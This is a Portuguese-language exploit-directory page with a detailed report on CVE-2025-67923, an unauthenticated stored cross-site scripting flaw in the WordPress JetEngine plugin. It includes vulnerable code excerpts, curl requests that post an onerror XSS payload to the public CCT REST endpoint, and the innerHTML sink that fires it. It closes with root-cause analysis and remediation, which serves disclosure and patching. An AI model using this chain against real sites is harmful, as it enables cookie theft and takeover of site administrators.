Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-67923 — JetEngine <= 3.7.7 — Cross-Site Scripting Armazenado Não Autenticado via CCT REST API | Kitploit
Ferramentas/GitHubGitHub/randomrobbiebf/cve-2025-67923
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebSegurança de API
GitHubrandomrobbiebf/cve-2025-67923

CVE-2025-67923

JetEngine <= 3.7.7 — Cross-Site Scripting Armazenado Não Autenticado via CCT REST API

Ver Repositório
há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Relatório de Exploração CVE-2025-67923

JetEngine <= 3.7.7 — Cross-Site Scripting Armazenado Não Autenticado via API REST CCT

Data: 11 de março de 2026 Pontuação CVSS: 7.1 (Alta) Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Plug-in Afetado: JetEngine <= 3.7.7 Slug do Plug-in: jet-engine Corrigido em: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Pesquisador: Bonds (via Patchstack) Relatado: 19 de outubro de 2025 Divulgado: janeiro de 2026 Versão do WordPress Testada: Mais recente


Resumo Executivo

O CVE-2025-67923 é uma vulnerabilidade de Cross-Site Scripting Armazenado Não Autenticado no plug-in WordPress JetEngine, afetando todas as versões até 3.7.7 inclusive. Um atacante não autenticado pode gravar HTML/JavaScript arbitrário em um campo de texto de um Tipo de Conteúdo Personalizado (CCT) por meio da API REST pública, que é então injetado sem sanitização no DOM por meio de um sumidouro innerHTML do JavaScript no widget Maps Listing, quando uma vítima visita qualquer página que contenha esse widget.

O ataque não exige autenticação nem privilégios. Ele exige apenas que:

  1. Exista um CCT do JetEngine com acesso de gravação pela API REST definido como public.
  2. Um widget Maps Listing em qualquer página de front-end esteja configurado para exibir o campo de texto desse CCT como o rótulo do marcador do mapa.

✅ VULNERABILIDADE CONFIRMADA — Payload de XSS Armazenado Gravado e Executado

Impacto confirmado:

  • HTML/JS arbitrário não autenticado armazenado no banco de dados do CCT sem sanitização
  • O XSS é disparado para todo visitante que carregar qualquer página com o widget Maps Listing
  • Roubo de cookies, sequestro de sessão, coleta de credenciais armazenadas, comprometimento total do administrador

Detalhes da Vulnerabilidade

Resumo Técnico

A vulnerabilidade é uma combinação de duas fraquezas independentes:

  1. Ausência de sanitização de entrada (armazenamento): O método sanitize_field_value() do manipulador de itens do CCT não possui um caminho de sanitização para campos do tipo text. O caso default: apenas converte timestamps — o HTML bruto passa e é persistido no banco de dados.

  2. Sumidouro de XSS baseado em DOM (renderização): O widget Maps Listing lê o valor do campo armazenado via get_marker_label(), envolve-o em htmlspecialchars(json_encode(...)) para o atributo HTML data-markers, e o JavaScript do front-end lê o atributo com getAttribute() (que decodifica entidades HTML) e, em seguida, insere markerData.label diretamente via innerHTML — executando qualquer HTML/JavaScript incorporado.

Componentes Afetados


Cadeia de Exploração

Etapa 1 — Gravação REST Não Autenticada

O controlador REST público do CCT verifica permissões via check_user_permissions():

root@kitploit:~
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
    $content_type = $this->get_content_type_from_request( $request );
    $cap = $content_type->get_arg( $context );

    if ( ! $cap || 'public' === $cap ) {
        return true;  // No authentication required
    } else {
        return current_user_can( $cap );
    }
}

public function create_item_permissions_check( $request ) {
    return $this->check_user_permissions( $request, 'rest_put_access' );
}

Quando um CCT é configurado com rest_put_access = 'public' (uma configuração suportada e documentada para formulários públicos), o endpoint é totalmente não autenticado. Qualquer cliente HTTP pode enviar um POST para /wp-json/jet-cct/{slug}.

Etapa 2 — Armazenamento sem Sanitização

O manipulador da REST chama $handler->update_item($params), que chega a sanitize_field_value():

root@kitploit:~
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
    $type = isset( $field['type'] ) ? $field['type'] : false;

    switch ( $type ) {
        case 'repeater':    // sanitizes sub-fields
            // ...
        case 'checkbox':    // handles boolean arrays
        case 'checkbox-raw':
            // ...
        case 'media':
        case 'gallery':     // sanitizes media JSON
            // ...
        case 'wysiwyg':
            $value = jet_engine_sanitize_wysiwyg( $value );  // sanitized
            break;

        default:
            // TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
            $value = $this->factory->maybe_to_timestamp( $value, $field );
    }

    return $value;
}

Um campo do tipo text cai no ramo default:. maybe_to_timestamp() retorna o valor inalterado para strings que não são datas. O payload de XSS `` é armazenado literalmente.

Etapa 3 — Rótulo Recuperado sem Escape

Quando o widget Maps Listing é renderizado, get_marker_label() lê o campo:

root@kitploit:~
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {

    // ...
    switch ( $label_type ) {
        case 'meta_field':
            $field = $settings['marker_label_field'];
            if ( $field ) {
                $result = jet_engine()->listings->data->get_meta( $field, $post );
                // No esc_html() here — raw value returned
            }
            break;
    }

    return $result;  // Returns ""
}

O valor retornado é colocado no array de dados do marcador:

root@kitploit:~
// render.php:231-237
$result[] = array(
    'id'        => $post_id,
    'latLang'   => $latlang,
    'label'     => $this->get_marker_label( $post, $settings ),  // raw XSS payload
    // ...
);

Etapa 4 — A Codificação do Atributo Não Impede XSS via innerHTML

O array de marcadores é codificado para um atributo HTML:

root@kitploit:~
// render.php:247
return htmlspecialchars( json_encode( $result ) );

json_encode serializa `` como a string "". htmlspecialchars então codifica em HTML o JSON completo, produzindo:

root@kitploit:~
[{...,&quot;label&quot;:&quot;&lt;img src=x onerror=alert(1)&gt;&quot;,...}]

Isso é gravado no atributo HTML data-markers. A codificação apenas protege o limite do atributo. Quando o JavaScript lê o atributo, o navegador decodifica as entidades HTML, restaurando os caracteres originais:

root@kitploit:~
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''

Etapa 5 — Injeção via innerHTML (o XSS é Disparado)

Em frontend-maps.js, a string bruta do rótulo é inserida diretamente em uma string de conteúdo HTML:

root@kitploit:~
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//   
// </div>'

Essa string de conteúdo é então definida como o innerHTML do elemento do marcador:

root@kitploit:~
// mapbox-maps.js:175
el.innerHTML = data.content;  // XSS FIRES

// leaflet-maps.js:34
contentHtml.innerHTML = content;  // XSS FIRES

Todo visitante que carrega uma página contendo o widget Maps Listing dispara o payload.


Prova de Conceito

Pré-requisitos

  1. Os módulos maps-listings e custom-content-types do JetEngine estão habilitados.
  2. Existe um CCT chamado locations (slug: locations) com:
    • rest_put_enabled = true
    • rest_put_access = 'public'
    • Um campo do tipo text chamado label
  3. Um widget Maps Listing em qualquer página de front-end está configurado com:
    • marker_type = 'text'
    • marker_label_type = 'meta_field'
    • marker_label_field = 'label'

Etapa 1 — Gravar Payload de XSS (Não Autenticado)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Test Location",
    "label": "",
    "lat": "51.5074",
    "lng": "-0.1278"
  }'

Resposta:

root@kitploit:~
{"success": true, "item_id": 1}

Etapa 2 — Confirmar o Payload Bruto Armazenado

root@kitploit:~
curl -s 'http://TARGET/wp-json/jet-cct/locations'

Resposta:

root@kitploit:~
[{
  "_ID": "1",
  "name": "Test Location",
  "label": "",
  "lat": "51.5074",
  "lng": "-0.1278"
}]

A tag `` é armazenada literalmente — nenhuma sanitização ocorreu.

Etapa 3 — Disparar o XSS (a Vítima Visita a Página)

Qualquer visitante, autenticado ou não, que carregar uma página contendo o widget Maps Listing executará o payload. O atributo HTML renderizado contém:

root@kitploit:~
<div class="jet-map-box"
  data-markers="[{...&quot;label&quot;:&quot;&lt;img src=x onerror=alert(document.cookie)&gt;&quot;...}]"
  data-general="...">
</div>

O JavaScript lê data-markers, decodifica entidades HTML, faz o parsing do JSON e insere no DOM:

root@kitploit:~
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)

Demonstração ao Vivo — Fluxo do Payload de Ponta a Ponta

root@kitploit:~
Attacker                     WordPress REST API              Victim Browser
   |                               |                               |
   |-- POST /wp-json/jet-cct/ ---> |                               |
   |   {"label":" |
   |                               |                    el.innerHTML = label
   |                               |                    onerror=alert() FIRES

Análise de Causa Raiz

Causa 1 — Campos text Isentos de Sanitização

sanitize_field_value() trata explicitamente wysiwyg com sanitização baseada em wp_kses, mas coloca todos os outros tipos de string em um ramo default: que não realiza escape de HTML. A premissa de que campos text são texto simples é violada quando esses valores são posteriormente renderizados como HTML por meio do caminho innerHTML do widget Maps.

Causa 2 — htmlspecialchars Aplicado de Forma Incorreta

htmlspecialchars(json_encode($result)) é aplicado para proteger o limite do atributo HTML. Isso é correto e necessário — mas não é suficiente para impedir o XSS quando o valor é posteriormente lido de volta via JavaScript e inserido no DOM por meio de innerHTML. A codificação é reversível pelo navegador. A correção correta é aplicar esc_html() (ou htmlspecialchars) ao valor individual label antes da codificação JSON, de modo que o payload seja armazenado no JSON como texto codificado por entidades. Quando o JavaScript o insere via innerHTML, o navegador renderiza &lt;img&gt; como texto, não como uma tag HTML.

Alternativamente, substitua innerHTML por textContent no JavaScript do campo de rótulo.

Causa 3 — Escopo Insuficiente da Política de Sanitização

O caminho de gravação da API REST (update_item) não trata todos os valores armazenados como possíveis sumidouros de HTML. A política de sanitização é definida apenas por tipo de campo, com os campos text silenciosamente isentos, apesar de serem renderizados como HTML no front-end por meio do widget Maps.


Remediação


Linha do Tempo

DataEvento
19 de outubro de 2025Vulnerabilidade relatada pelo pesquisador "Bonds" via Patchstack
janeiro de 2026Divulgação pública
janeiro de 2026JetEngine 3.7.8 lançado com correção
11 de março de 2026Reproduzido de forma independente com PoC completo

Referências

  • Comunicado da Wordfence — CVE-2025-67923
  • Comunicado da Patchstack
  • Changelog do JetEngine — 3.7.8
  • OWASP — XSS Armazenado
  • OWASP — XSS Baseado em DOM
  • CWE-79: Neutralização Imprópria de Entrada Durante a Geração de Página Web
Baixar ferramenta
ArquivoProblema
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424create_item_permissions_check retorna true quando CCT rest_put_access = 'public' — nenhuma autenticação necessária
includes/modules/custom-content-types/inc/item-handler.php:489ramo default: de sanitize_field_value() — nenhuma sanitização de HTML para campos do tipo text
includes/modules/maps-listings/inc/render.php:233get_marker_label() retorna o valor meta bruto sem esc_html()
includes/modules/maps-listings/inc/render.php:247htmlspecialchars(json_encode($result)) — apenas protege o limite do atributo, não a injeção via innerHTML
includes/modules/maps-listings/assets/js/frontend-maps.js:112pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — rótulo bruto inserido na string HTML
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175el.innerHTML = data.content — sumidouro de execução de XSS
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34contentHtml.innerHTML = content — sumidouro de execução de XSS
CorreçãoArquivoDescrição
Sanitizar campos de texto ao salvaritem-handler.php:sanitize_field_value()Adicione $value = wp_kses($value, []) ou sanitize_text_field($value) no ramo default:
Escapar o rótulo no momento da renderizaçãorender.php:get_marker_label()Aplique esc_html($result) antes de retornar o valor do rótulo
Usar textContent em vez de innerHTML para os rótulosfrontend-maps.js, mapbox-maps.js, leaflet-maps.jsSubstitua el.innerHTML = data.content pela construção segura do DOM quando o conteúdo for apenas texto do rótulo
Restringir o padrão de acesso de gravação da RESTConfigurações do plug-inAltere o valor padrão de rest_put_access para manage_options em vez de public; exija opt-in explícito